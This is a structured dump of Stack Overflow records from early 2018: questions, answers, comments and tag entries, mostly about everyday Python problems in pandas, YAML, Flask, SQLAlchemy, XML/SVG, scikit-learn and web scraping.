has comment: http://stackoverflow.com/comment/84410676
has comment: http://stackoverflow.com/comment/84410864
score: 2
downvote count: 0

http://stackoverflow.com/comment/84488994
type: QuestionComment
type: Comment
has text: @Knix Your problem is predicated on something that isn't defined. JSON may not have duplicate keys. From the spec: "When the names within an object are not unique, the behavior of software that receives such an object is unpredictable."
score: 0
comment on: http://stackoverflow.com/q/48733794

http://stackoverflow.com/comment/84523990
type: Comment
comment on: http://stackoverflow.com/a/48747413
score: 0
type: AnswerComment
has text: Thanks a lot Arnaud, you made it so easy, i have been breaking my head till now, thank you so much, there is one thing though I would like to ask you, please bare with me, a student only, how to use the Xc.todense() results, lets say, in a table way, where i can have the feature_names(skill) and the count in a better visual. If this is a stupid ques, please bare with me. Thanks again @Arnaud

http://stackoverflow.com/q/48699757
type: AnsweredQuestion
has title: ModuleNotFoundError: No module named PasSampler
score: 1
has comment: http://stackoverflow.com/comment/84398180
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84398063
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/48699876
has body: Hey guys so I'm kinda new to Python and was trying to design a predictive pricing software since I've done C before when I came across a guide that did exactly what I wanted. I followed the guide but unfortunately I've been getting a really infuriating ModuleNotFoundError: No module named 'PastSampler' everytime I try to run the code. I've scoured the web but haven't been able to find a close enough solution for my problem. Any help would be greatly appreciated. Thanks! import json import numpy as np import os import pandas as pd import urllib.request def JSONDictToDF(d): ''' Converts a dictionary created from json.loads to a pandas dataframe d: The dictionary ''' n = len(d) cols = [] if n &gt; 0: #Place the column in sorted order cols = sorted(list(d[0].keys())) df = pd.DataFrame(columns = cols, index = range(n)) for i in range(n): for coli in cols: df.set_value(i, coli, d[i][coli]) return df def GetAPIUrl(cur): ''' Makes a URL for querying historical prices of a cyrpto from Poloniex cur: 3 letter abbreviation for cryptocurrency (BTC, LTC, etc) ''' u = 'https://poloniex.com/public?command=returnChartData&amp;currencyPair=USDT_' + cur + '&amp;start=1420070400&amp;end=9999999999&amp;period=7200' return u def GetCurDF(cur, fp): ''' cur: 3 letter abbreviation for cryptocurrency (BTC, LTC, etc) fp: File path (to save price data to CSV) ''' openUrl = urllib.request.urlopen(GetAPIUrl(cur)) r = openUrl.read() openUrl.close() d = json.loads(r.decode()) df = JSONDictToDF(d) df.to_csv(fp, sep = ',') return df #%%Path to store cached currency data datPath = 'CurDat/' if not os.path.exists(datPath): os.mkdir(datPath) #Different cryptocurrency types cl = ['BTC', 'LTC', 'ETH', 'XMR'] #Columns of price data to use CN = ['close', 'high', 'low', 'open', 'volume'] #Store data frames for each of above types D = [] for ci in cl: dfp = os.path.join(datPath, ci + '.csv') try: df = pd.read_csv(dfp, sep = ',') except FileNotFoundError: df = GetCurDF(ci, dfp) D.append(df) #%%Only keep range…
upvote count: 1
accepted answer: http://stackoverflow.com/a/48699876
type: Question

http://stackoverflow.com/q/48785134
type: UnansweredQuestion
score: 1
upvote count: 1
type: Question
has title: Assigning elements to particular namespace
has comment: http://stackoverflow.com/comment/84575160
has comment: http://stackoverflow.com/comment/84573483
has body: I am trying to add a PNG image to SVG. I have found that I need to add the following two snippet: &lt;clipPath id="circleView"&gt; &lt;circle cx="1500" cy="1500" r="125" fill="#FFFFFF" /&gt; &lt;/clipPath&gt; &lt;image xmlns:xlink="http://www.w3.org/1999/xlink" x="1250" y="1375" width="500" height="250" xlink:href="https://www.amrita.edu/sites/default/files/news-images/new/news-events/images/l-nov/grass.jpg" clip-path="url(#circleView)" /&gt; Opening the main file with Element tree python library shifts everything to ns0 namespace, so the following code doesn't do what is intended: tree = ET.parse(fname) root = tree.getroot() xmlns = '{http://www.w3.org/2000/svg}' cp_string = '''&lt;clipPath id="circleView"&gt; &lt;circle cx="1500" cy="1500" r="125" fill="#FFFFFF" /&gt; &lt;/clipPath&gt;''' img_string = '''&lt;image xmlns:xlink="http://www.w3.org/1999/xlink" x="1250" y="1375" width="500" height="250" xlink:href="https://www.amrita.edu/sites/default/files/news-images/new/news-events/images/l-nov/grass.jpg" clip-path="url(#circleView)" /&gt;''' tree.getroot().set("xmlns:xlink", "http://www.w3.org/1999/xlink") defs = root.find(xmlns+'defs') cp = ET.fromstring(cp_string) img = ET.fromstring(img_string) defs.append(cp) root.append(img) tree.write('mod.svg') The output skeletal SVG is below: `&lt;ns0:svg xmlns:ns0="http://www.w3.org/2000/svg" xmlns:ns1="http://www.w3.org/1999/xlink" height="3000px" version="1.1" width="3000px" xmlns:xlink="http://www.w3.org/1999/xlink"&gt; &lt;ns0:defs&gt; &lt;ns0:pattern height="10" id="checker" patternTransform="rotate(45 0 0)" patternUnits="userSpaceOnUse" width="10"&gt;&lt;ns0:line style="stroke:black;stroke-width:5" x1="0" x2="10" y1="0" y2="0" /&gt;&lt;ns0:line style="stroke:black;stroke-width:4" x1="0" x2="0" y1="0" y2="10" /&gt;&lt;/ns0:pattern&gt; &lt;ns0:pattern height="10" id="checker" patternTransform="rotate(45 0 0)" patternUnits="userSpaceOnUse" width="10"&gt;&lt;ns0:line style="stroke:black;stroke-width:2" x1="0" x2="10" y1…
downvote count: 0
linked to: http://stackoverflow.com/q/14853243
favorite count: 0
has comment: http://stackoverflow.com/comment/84574730
tagged with: python
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/84577385
tagged with: http://stackoverflow.com/tag/svg
has comment: http://stackoverflow.com/comment/84574333
answer count: 0

http://stackoverflow.com/q/48765446
has title: Adding a single quote around a string from a yaml file python
has answer: http://stackoverflow.com/a/48765506
has comment: http://stackoverflow.com/comment/84531505
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/84531243
has body: I want to print a string enclosed between two single quotes. I've looked at this [question][1] and I've tried to use escape character ', but nothing: def quote(string): return "'%s'" % string I tried this function: old = 'testing String' test_string = quote(old) But when I print test_string I have this output: '''testing String''' Why do I get three single quotes? Thanks. EDIT : Stand alone answers may work, but I'm trying to edit a value inside a yaml file : that's my code : import yaml import sys import random import string def quote(string): return "'{}'" .format(string) email = sys.argv[1] dominio = email.split("@") nome = (dominio[0].split("."))[0].capitalize() cognome = (dominio[0].split("."))[1].capitalize() password = random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(8)]) x={} with open('/home/francesco/Musica/prova.yaml', 'r') as my_file: x = yaml.load(my_file) x['accounts']['addresses']['username'] = quote(email) x['accounts']['addresses']['address'] = email x['accounts']['email'] = email x['accounts']['firstname'] = nome x['accounts']['lastname'] = cognome x['accounts']['password1'] = password x['accounts']['password2'] = password x['accounts']['username'] = email with open('output.yaml', 'w') as new_file: yaml.dump(x, new_file,default_flow_style=False) quote(email) return email content enclosed on three single quote, i don't know why [1]: Python 2.X adding single quotes around a string
favorite count: 0
linked to: http://stackoverflow.com/q/22952543
has answer: http://stackoverflow.com/a/48765718
has answer: http://stackoverflow.com/a/48765648
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84531433
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84531192
type: Question

http://stackoverflow.com/comment/84423242
score: 0
has text: 6 tab delimited columns would have 5 tab characters per line. Don't sweat one downvote; some people are trigger happy with downvotes.
type: QuestionComment
comment on: http://stackoverflow.com/q/48712021
type: Comment

http://stackoverflow.com/q/48773267
has body: I am fully aware there are other topics on this on this website, but the solutions do not work for me. I am trying to grab the 'last' value from this API address: https://cryptohub.online/api/market/ticker/PLSR/ In Python, I have tried many different scripts, and tried hard myself but I always end up getting a "KeyError" although "last" is in the API. Can anyone help me?
score: 0
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/84548355
has title: Grabbing Specific Value from JSON Data API
type: Question
has answer: http://stackoverflow.com/a/48773516
answer count: 1
has comment: http://stackoverflow.com/comment/84548525
tagged with: python
has comment: http://stackoverflow.com/comment/84548153
has comment: http://stackoverflow.com/comment/84548207
has comment: http://stackoverflow.com/comment/84548621
accepted answer: http://stackoverflow.com/a/48773516
type: AnsweredQuestion

http://stackoverflow.com/q/48778584
has answer: http://stackoverflow.com/a/48778661
tagged with: python
score: 2
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/48778631
type: Question
possible better answer: http://stackoverflow.com/a/48778661
tagged with: string-concatenation
has body: I'm working with a list that contains both strings and integers, and I want to create a function that concatenates new elements to these strings and integers based on different conditions. For instance if the element in the list is an integer I want to add 100 to it; if the element is a string I want to add "is the name". I tried working with a list comprehension but couldn't figure out how to account for strings and integers both being present in the list (so not sure if this is possible here). Here's a basic example of what I'm working with: sample_list = ['buford', 1, 'henley', 2, 'emi', 3] the output would look like this: sample_list = ['buford is the name', 101, 'henley is the name', 102, 'emi is the name', 103] I tried using something like this: def concat_func(): sample_list = ['buford', 1, 'henley', 2, 'emi', 3] [element + 100 for element in sample_list if type(element) == int] I also tried using basic for loops and wasn't sure if this was the right way to go about it instead: def concat_func(): sample_list = ['buford', 1, 'henley', 2, 'emi', 3] for element in sample_list: if type(element) == str: element + " is the name" elif type(element) == int: element + 100 return sample_list
has answer: http://stackoverflow.com/a/48778733
has answer: http://stackoverflow.com/a/48778633
accepted answer: http://stackoverflow.com/a/48778633
downvote count: 0
has answer: http://stackoverflow.com/a/48778651
favorite count: 0
upvote count: 2
answer count: 5
has title: Concatenate strings and integers in a list based on conditions

http://stackoverflow.com/comment/84508929
type: AnswerComment
comment on: http://stackoverflow.com/a/48754029
type: Comment
has text: if you override the __eq__ you should know the uniqueness should be. For me this is the correct answer.
score: 0

http://stackoverflow.com/comment/84562613
type: QuestionComment
has text: Good! but where did you used this `PhoneObjectRelatedField` ?? add at `ClientSerializer` the field phone `phone = PhoneObjectRelatedField()`
comment on: http://stackoverflow.com/q/48780201
score: 0
type: Comment

http://stackoverflow.com/q/48647985
tagged with: python
has comment: http://stackoverflow.com/comment/84293456
answer count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/423379
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84293683
score: 0
has comment: http://stackoverflow.com/comment/84294197
favorite count: 0
tagged with: python-3.x
has body: I have some code which creates a list of the links on a website. At the end of the function I return the list, but when I reference it later on, the list is blank. Here is my code: PagesList = [] Startup = input('What is the website of the startup?') def GetCleanLinks(Startup): headers = {'User-Agent': 'Mozilla/5.0'} response = requests.get(Startup, headers=headers) soup = BeautifulSoup(response.text, "html.parser") PagesList = [a['href'] for a in soup.find_all('a', href=True) if a.text.strip()] for i, link in enumerate(PagesList): if link[0] in ['/','#']: PagesList[i] = Startup + link print(PagesList) return(PagesList) GetCleanLinks(Startup) print(PagesList) If I put the print within the function (before my return request) it will print out a list of the links. However, the print request outside the function prints a blank list. What am I missing? Many thanks, Rob
type: UnansweredQuestion
has title: Function not returning a list

http://stackoverflow.com/q/48650026
tagged with: flask
has title: How to use url_for to read a file in templates folder?
tagged with: python
favorite count: 0
score: 6
has answer: http://stackoverflow.com/a/48651229
upvote count: 6
type: AnsweredQuestion
has body: I tried to read file print.html that located in path: templates/print.html. So, I used url_for() to refer to it as below: {{ url_for('templates', filename='print.html') }} However, I got an error as below Traceback: BuildError: ('templates', {'filename': 'print.html'}, None) What's wrong with this? If I used {{ url_for('static', filename='print.html') }}, it just working find. However, file that I tried to read is not in static folder, it was in templates/print.html instead. How can I use url_for() to read my file print.html in templates folder? Thanks.
type: Question
linked to: http://stackoverflow.com/q/18249527
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/48651229

http://stackoverflow.com/comment/84520896
comment on: http://stackoverflow.com/q/48760190
has text: when you say it *doesn't work* what do you mean? Did you receive an error or the pc you were using exploded?
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/a/48793722
score: 1
accepted answer of: http://stackoverflow.com/q/48793270
type: AcceptedAnswer
upvote count: 1
type: Answer
has body: I just ran your code for the sample cases (india and china) and ran into no issue. The reason you'd get the indexerror is if there are no results for find_all, for which the result would be [] (so there is no 0th element). To fix your code you need a "catch" to confirm there are results. Here's a basic way to do that: def getPopulation(name): ... x=soup.find_all('div',{"class":"col-md-8 country-pop-description"}) if x: y=x[0].find_all('strong') result=y[1].text else: result = "No results founds." return result A cleaner way to write that, eliminating the unnecessary holder variables (e.g. y) and using a ternary operator: def getPopulation(name): ... x=soup.find_all('div',{"class":"col-md-8 country-pop-description"}) return x[0].find_all('strong')[1].text if x else "No results founds." A few other notes about your code: It's best to use returns for all of your functions. For main(), instead of using print(Map), you should use return Map Style convention in Python calls for variable names to be lowercase (e.g. Map should be map) and there should be a space before your return line (as in the shortened getPopulation() above. I suggest reviewing PEP 8 to learn more about style norms / making code easier to read. For url it's better practice to use string formatting to insert your variables. For example, "http://www.worldometers.info/world-population/{}-population/".format(name)
answers question: http://stackoverflow.com/q/48793270
downvote count: 0

http://stackoverflow.com/q/48735798
tagged with: testing
has title: How to check output starting with ellipsis in Python's doctests
upvote count: 1
has comment: http://stackoverflow.com/comment/84472082
tagged with: doctest
favorite count: 0
linked to: http://stackoverflow.com/q/25255435
type: UnansweredQuestion
tagged with: python
has body: I have a method which outputs ......silence...... to represent no activity: def silence(self): print('......silence......') I have the following doctest written for the method: &gt;&gt;&gt; s = SmokeDetector() &gt;&gt;&gt; s.silence() .......silence...... But when I run the doctest, I get the following error: ValueError: line 4 of the docstring for smoke_detector4.SmokeDetector.silence lacks blank after ...: '.......silence......' How do I fix this?
linked to: http://stackoverflow.com/q/5812833
answer count: 0
downvote count: 0
score: 1
type: Question

http://stackoverflow.com/comment/84388586
comment on: http://stackoverflow.com/q/48694991
has text: call `int()` on all elements (e.g.: using a list comprehension)
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48723862
tagged with: python-3.x
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/84446568
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84446583
has title: Why does imported file produce one more repeated result?
type: Question
answer count: 1
downvote count: 0
has body: I've made a file to import, let's say pizza.py. def make_pizza(size, *toppings): """Summarize the pizza we are about to make.""" print("\nMaking a " + str(size) + "-inch pizza with the following toppings:") for topping in toppings: print("- " + topping) make_pizza(16, 'pepperoni') make_pizza(12, 'mushrooms', 'green peppers', 'extra cheese') and I called the module in this program, let's say making_pizza.py import pizza pizza.make_pizza(16, 'pepperoni') pizza.make_pizza(12, 'mushrooms', 'green peppers', 'extra cheese') Are there any setting that I made that produce one more repeated result? Below is the one more repeated result. Making a 16-inch pizza with the following toppings: - pepperoni Making a 12-inch pizza with the following toppings: - mushrooms - green peppers - extra cheese Making a 16-inch pizza with the following toppings: - pepperoni Making a 12-inch pizza with the following toppings: - mushrooms - green peppers - extra cheese So from these two scripts, what made the result to produce one more repeated return?
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/48723936

http://stackoverflow.com/comment/84595045
type: Comment
type: QuestionComment
has text: Sure. When I print the result of twofactorsthreedigits(range(500)), a range within I should not get any numbers, I get [202, 206, 214, 218, 226, 254, 262, 274, 278, 298, 302, 303, 309, 314, 321, 326, 327, 334, 339, 346, 358, 362, 381, 382, 386, 393, 394, 398, 404, 411, 412, 417, 422, 428, 436, 446, 447, 452, 453, 454, 458, 466, 471, 478, 482, 489]. I am also unsure as to how I can change my code to an MWE.
comment on: http://stackoverflow.com/q/48796001
score: 0

http://stackoverflow.com/q/48686829
tagged with: machine-learning
downvote count: 1
type: Question
type: AnsweredQuestion
has body: I am using KNeighborsClassifier algorithm to train my data as below: knn_clf = neighbors.KNeighborsClassifier(n_neighbors=3, algorithm="ball_tree", weights='distance') I got the nearest 3 neighbours of the data from: closest_distances = knn_clf.kneighbors(faces_encodings, n_neighbors=3) print(closest_distances) #printouts: (array([[0.1123 , 0.29189484, 0.312]] I want to link the distances of these 3 nearest neighbours with the labels. Any ideas ? My training data: X:[0.1,0.2,0.3,0.4,0.5] y:[one, two, three, four, five]. If i give predict(0.2), how can i link the labels of the found distances as two, three, four ? Thank you,
has answer: http://stackoverflow.com/a/48687828
answer count: 1
tagged with: scikit-learn
favorite count: 0
accepted answer: http://stackoverflow.com/a/48687828
tagged with: python
has title: Print labels of the nearest neighbours from scikit KNeighborsClassifier?
tagged with: knn
upvote count: 2
score: 1

http://stackoverflow.com/comment/84542868
type: Comment
score: 0
has text: still interested in how you made it work
comment on: http://stackoverflow.com/q/48765299
type: QuestionComment

web-services
type: Tag
tags question: http://stackoverflow.com/q/48735257
tags question: http://stackoverflow.com/q/48767975
tag name: web-services

http://stackoverflow.com/comment/84582539
type: AnswerComment
comment on: http://stackoverflow.com/a/48790031
score: 0
type: Comment
has text: Yes. I kow that. This is what I am saying. Numbers really are the same. But in theory they are not. Increasing the machine precision would show that.

http://stackoverflow.com/comment/84511846
has text: Bear in mind that since dictionaries are unordered, using an index on `values()` doesn't guarantee you will get the same item each time (if you have more than one of them).
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48754930
type: AnswerComment

http://stackoverflow.com/comment/84611389
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48796014
has text: `-export-dynamic` is about the "dynamic symbol table" (according to gcc documentation). I don't know what this is. Anyway, removing this yields an error: `/usr/bin/ld: unrecognized option '-Wl,-O1'`. gcc won't recognize the `-Wl` options anymore. Without these however, I get `File format not recognized`.
type: Comment

http://stackoverflow.com/comment/84539576
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48765021
has text: Oh, `sh` is a loop variable in the script. I probably should have mentioned that this is a snippet of a nested loop. `sh` should give the number of the file (2, 2a, 2b, 3 etc) and then x should produce the filename. But actually I'm willing to get rid of that if need be.
score: 0

http://stackoverflow.com/q/48765469
has body: Using gurobipy, I can presolve a mixed integer linear optimization model by calling the presolve function, i.e. model = read('milp.mps') model.presolve(). I would like to apply Gurobi's presolving step to some model, which is only restricted by the linear constraints of a mixed integer nonlinear pyomo model (and to subsequently modify the presolved linear model, either using gurobipy or pyomo, before solving it using Gurobi). Schematically, what I want to do is: linear_model = deactivate_nonlinear_constrs(pyomo_model) #This step is clear presolved_model = presolve_with_gurobi(linear_model), where presolved_model can be either a gurobipy, or a pyomo model. The easiest way would be some function that converts a pyomo model into a gurobipy model, i.e. gurobi_model = convert_to_gurobi(pyomo_model). I know that pyomo and Gurobi are tightly coupled, i.e. I can solve a pyomo model with Gurobi by using opt = SolverFactory('gurobi') opt.solve(model), so I suppose there is some direct link between the gurobipy model and the pyomo model as well.
tagged with: python
has answer: http://stackoverflow.com/a/53719976
type: UnansweredQuestion
score: 2
tagged with: mathematical-optimization
downvote count: 0
tagged with: gurobi
type: Question
upvote count: 2
tagged with: pyomo
has title: Use Gurobi's presolve function for a pyomo model
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/84317523
comment on: http://stackoverflow.com/q/48659867
has text: Tricky one! Sounds like an exam question or something. Could you share the groupby code that you've already tried and then someone can build from that?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84373734
has text: @FrancescoLombardi If this answer was helpful you may accept it. See [What should I do when someone answers my question?](https://stackoverflow.com/help/someone-answers)
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48687169

http://stackoverflow.com/q/48668471
tagged with: python
type: Question
has title: Repeatedly extract text between two delimiters with a variable in a text file in Python
score: 0
has comment: http://stackoverflow.com/comment/84346107
answer count: 1
linked to: http://stackoverflow.com/q/7098530
has answer: http://stackoverflow.com/a/48672137
has comment: http://stackoverflow.com/comment/84340727
has body: I have a list of genes (gene1, gene2,...) that contains all my genes of interest. I would like to extract now for each gene seperately only the free energy data to process it seperately. My data set looks like this and contains information for more than 500 genes: ==&gt; data/gene1_free_energy.dat &lt;== 0 0 0 1 0 0 2 0 2.3 3 0 5.4 . . . ==&gt; data/gene1_rare_enrichment.dat &lt;== 7 0.166667 0.939498 8 0.222222 0.930714 9 0.0555556 0.998125 10 0.166667 0.826133 . . . ==&gt; data/gene2_free_energy.dat &lt;== 0 0 0 1 0 0 2 0 2.3 3 0 5.4 . . . ==&gt; data/gene2_rare_enrichment.dat &lt;== 7 0.166667 0.939498 8 0.222222 0.930714 9 0.0555556 0.998125 10 0.166667 0.826133 . . . To extract now the data between two delimiters I found this answer very helpful: Repeatedly extract a line between two delimiters in a text file, Python but I cannot figure out how to implement the gene name as a varaible. import re with open(input1) as fp: for result in re.findall('==&gt; data/gene1_free_energy.dat &lt;==(.*?)==&gt; data/gene1_rare_enrichment.dat &lt;==', fp.read(), re.S): print (result) #or save this in a dictionary or whatever This nicely prints it for gene1. I tried the following, but it does not work. import re for name in gene_list: # this is my list of included genes with open(input1) as fp: for result in re.findall('==&gt; data/' + name + '_free_energy.dat &lt;==(.*?)==&gt; data/'+ name +'_rare_enrichment.dat &lt;==', fp.read(), re.S): print (result) Is there a way to write such a loop? Or is there another more clever way to extract the data I need?
type: UnansweredQuestion

http://stackoverflow.com/q/48689007
tagged with: caching
tagged with: sqlalchemy
type: UnansweredQuestion
tagged with: flask-sqlalchemy
type: Question
has body: My sample tables: class TestEvent(Model): id = Column(Integer, primary_key=True) name = Column(String(20)) def __str__(self): return f'{self.name} ({self.id})' class TestMarket(Model): id = Column(Integer, primary_key=True) name = Column(String(20)) def __str__(self): return f'{self.name} ({self.id})' class TestEventMarket(Model): event_id = Column(Integer, ForeignKey(TestEvent.id)) market_id = Column(Integer, ForeignKey(TestMarket.id)) event = relationship(TestEvent, lazy='noload', backref=backref('event_markets', lazy='dynamic')) market = relationship(TestMarket, lazy='noload', backref=backref('event_markets', lazy='dynamic')) PrimaryKeyConstraint(event_id, market_id) def __str__(self): return f'{self.event_id}:{self.market_id}' Sample init code: event = TestEvent(name='test event1') market = TestMarket(name='test market1') em = TestEventMarket(event=event, market=market) session.add(event) session.add(market) session.add(em) session.commit() Sample query code: event = TestEvent.query.first() market = TestMarket.query.first() em = TestEventMarket.query.first() print(event, market, em) print(list(map(str, event.event_markets)), list(map(str, market.event_markets)), em.event, em.market) Which outputs, expectedly: test event1 (1) test market1 (1) 1:1 ['1:1'] ['1:1'] None None The reason I want this behaviour, is because, within my application, on startup, I get all "relevant" TestEvents and TestMarkets, and cache them. A new TestEvent, or TestMarket may be created at some point in the lifecycle, but that's just added to the cache, so all is ok. These are sample tables, but I've a number of other tables that basically operate as Enum tables, and are used throughout the application. Because I have these cached, and have a "standard" way to access them, I'd prefer to have the database models use the method. I've looked through the SQLAlchemy docs, and think it might be able to be done with their MappedCollection, or maybe their HybridAttributes, but as their completely …
has title: With SQLAlchemy ORM, how to listen for calls to relationships with "noload", or "raise" set for lazy?
tagged with: python
has answer: http://stackoverflow.com/a/48689008
answer count: 1
score: 0
tagged with: mysql

http://stackoverflow.com/comment/84405876
type: Comment
comment on: http://stackoverflow.com/q/48700275
score: 0
has text: @api55 Thank you so much for the time you spent ! i'll take a look
type: QuestionComment

http://stackoverflow.com/a/57819404
upvote count: 1
downvote count: 1
has body: have you solved the problem? I'm working on a similar problem. My solution is to use HoughLines https://docs.opencv.org/3.4.0/d9/db0/tutorial_hough_lines.html
score: 0
answers question: http://stackoverflow.com/q/48746910
type: Answer

http://stackoverflow.com/a/48719735
answers question: http://stackoverflow.com/q/48719625
type: Answer
score: 2
upvote count: 2
has body: This is a trivial generalisation / partial optimisation of your algorithm. Edit: @heemayl's alternative which uses repeat is preferable to this solution. import itertools n = 3 x = [] x = [list(i) for i in itertools.product(*(range(0,101) \ for _ in range(n))) if sum(i) == 100]
downvote count: 0

http://stackoverflow.com/comment/84473978
has text: @unutbu, it seems there's an answer in the comments of the issue you mentioned.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48736697
score: 0

http://stackoverflow.com/q/48789686
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/48808459
type: Question
tagged with: validation
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python
upvote count: 13
has answer: http://stackoverflow.com/a/48808459
has title: How to make cerberus required rule depends on condition
score: 13
type: AnsweredQuestion
tagged with: cerberus
has body: I have a big json document, where some fields should be required if other fields have exact values. E.g. document = {'is_realty_address': False, 'postcode': 111111} postcode have to be required if is_realty_address == False. All of the rules (except 'required') are applied to the fields that are exist in document, so my custom rules are silent, when I have document = {'is_realty_address': False} of-rules won't help in my case, because I have plenty of "conditional-required" fields which depends on many different fields. So, of-rules will strongly complicate my schema. Dependencies don't work too. I tried: {'postcode': {'dependencies': {'is_realty_address': False}, 'required': True}} This returns error if postcode not appears in document, no matter what value has is_realty_address v = Validator() print(v.validate({'is_realty_address': False}, schema)) print(v.errors) print(v.validate({'is_realty_address': True}, schema)) print(v.errors) this code returns: False {'postcode': ['required field']} False {'postcode': ['required field']} I also tried to implement validation method: def _validate_conditional_required(self, conditional_required, field, value): """ :param conditional_required: :param field: :param value: :return: The rule's arguments are validated against this schema: {'type': 'dict'} """ for conditional_field, conditional_value in conditional_required.items(): if self.document[conditional_field] == conditional_value and field not in self.document: self._error(field, errors.REQUIRED_FIELD) with schema schema = { 'is_realty_address': {'required': True, 'type': 'boolean'}, 'postcode': {'conditional_required': {'is_realty_address': False}}, } but this rule doesn't run if 'postcode' is not in the document. Is there any way to set "conditional-required" rule? I want to see this code: schema = { 'is_realty_address': {'required': True, 'type': 'boolean'}, 'postcode': {'conditional_required': {'is_realty_address': False}}, } v = Validator() print(v.validate({'is_real…

header
type: Tag
tag name: header
tags question: http://stackoverflow.com/q/48646945

http://stackoverflow.com/q/48750347
has comment: http://stackoverflow.com/comment/84501199
tagged with: python
has comment: http://stackoverflow.com/comment/84501546
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84501864
has title: dump yaml file with correct multiline without newline character with Python
has comment: http://stackoverflow.com/comment/84501945
accepted answer: http://stackoverflow.com/a/48750803
type: Question
has body: i need to recreate that file in yaml : - account_type: 3 active: true addresses: - address: !!python/unicode 'firstname.lastname@email.com' enabled: true username: !!python/unicode 'firstname.lastname@email.com' email: !!python/unicode 'firstname.lastname@email.com' firstname: firstname high_score: 0.0 lastname: lastname lists: [] local: false low_score: 0.0 password1: !!python/unicode 'Deef2fht' password2: !!python/unicode 'Deef2fht' send_report: true signatures: [] spam_checks: true timezone: !!python/unicode 'Europe/Rome' username: !!python/unicode 'firstname.lastname@email.com' so i create this piece of code : import yaml import random import string import sys email = sys.argv[1] dominio = email.split("@") nome = (dominio[0].split("."))[0] cognome = (dominio[0].split("."))[1] password = random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(8)]) document = """ account_type: 3 active: true addresses: address: '"""+email+"""' enabled: true username: '"""+email+"""' email: '"""+email+"""' firstname: """+nome+""" high_score: 0.0 lastname: """+cognome+""" lists: [] local: false low_score: 0.0 password1: '"""+password+"""' password2: '"""+password+"""' send_report: true signatures: [] spam_checks: true timezone: 'Europe/Rome' username: '"""+email+"""' """ yaml.safe_dump(document, open("output.yaml", "w"), default_flow_style=False) but the output is only on a line and for every newline on my document variable i've /n character. There is a way to do that without print every line on a different variable?
has answer: http://stackoverflow.com/a/48750803
score: 0
has comment: http://stackoverflow.com/comment/84501095
tagged with: yaml
answer count: 1

http://stackoverflow.com/comment/84341895
type: AnswerComment
comment on: http://stackoverflow.com/a/48661046
type: Comment
has text: No Idea. My simple code above runs happily on Linux Mint 18.3, with no reference to locale, as you can see from the code. Did the error occur running the code above,as is, or did you apply the changes to your code? If the latter try running just the code above as a standalone program (changing the name of the image, obviously)
score: 0

http://stackoverflow.com/comment/84468611
type: QuestionComment
has text: But you haven't shown the actual class object... `self.standing_frames = [...]` doesn't tell us much on its own.
score: 0
comment on: http://stackoverflow.com/q/48734716
type: Comment

http://stackoverflow.com/a/48672306
accepted answer of: http://stackoverflow.com/q/48671606
type: Answer
answers question: http://stackoverflow.com/q/48671606
upvote count: 1
has body: In the first place I would put a new dict object for each file onto the queue, rather than reusing the same dict instance over and over. Also, you need to signal that no more items will be put onto the queue, e.g. by putting None: for filename in lst: with open(filename, "r") as f: roke_data = dict(filename=filename, byte_string=f.read()) self.fileQueue.put(roke_data) self.fileQueue.join() self.fileQueue.put(None) # the kill pill Second, I can't see any loop in your consumer thread method. You are just getting a single item. Is your code snippet missing something? Have a look at this example to see how elements can be consumed from a Queue. It breaks down to a loop and a blocking call to get(): def run(self): self.connect_socket() #connects to a socket on localhost while True: roke_data = self.fileQueue.get() # blocking! if roke_data is None: break print("Sending file: ", roke_data["filename"]) self.sc.send(roke_data["byte_string"]) # Assuming it's a JoinableQueue self.fileQueue.task_done()
score: 1
has comment: http://stackoverflow.com/comment/84343027
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/48738790
type: Answer
has body: All above answers are good, but if you do not persist to use your current code, and just want to solve your problem itself, here is another option with pandas, just FYI: import pandas as pd mylist= [0.0, 0.4, 0.81, 1.0, 0.9, 20.7, 0.0, 0.8, 1.0, 20.7] s = pd.Series(mylist).sort_values(ascending=False)[:4] s = s[s &gt; 1] print s.index.tolist()
upvote count: 3
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/48738249

http://stackoverflow.com/q/48789430
tagged with: python
type: AnsweredQuestion
type: Question
possible better answer: http://stackoverflow.com/a/48789474
has answer: http://stackoverflow.com/a/48789474
has answer: http://stackoverflow.com/a/48789453
score: 0
has body: From the following code: aps1.Status.head(10) Out[663]: 0 OK 1 OK 2 OK 3 OK 4 OK 5 OK 6 Fail 7 OK 8 Fail 9 OK How to obtain the indexes for which Status is Fail? I tried: print (index for index,value in enumerate(aps1.Status) if value == "Fail"]) But I'm getting syntax error. Thanks
tagged with: pandas
accepted answer: http://stackoverflow.com/a/48789453
answer count: 4
has answer: http://stackoverflow.com/a/67810305
has title: Obtaining index based on connditions
has comment: http://stackoverflow.com/comment/84580671
has answer: http://stackoverflow.com/a/48789500

http://stackoverflow.com/q/48744518
tagged with: dictionary
has title: How can i know the occurrences of the value in a dictionary?
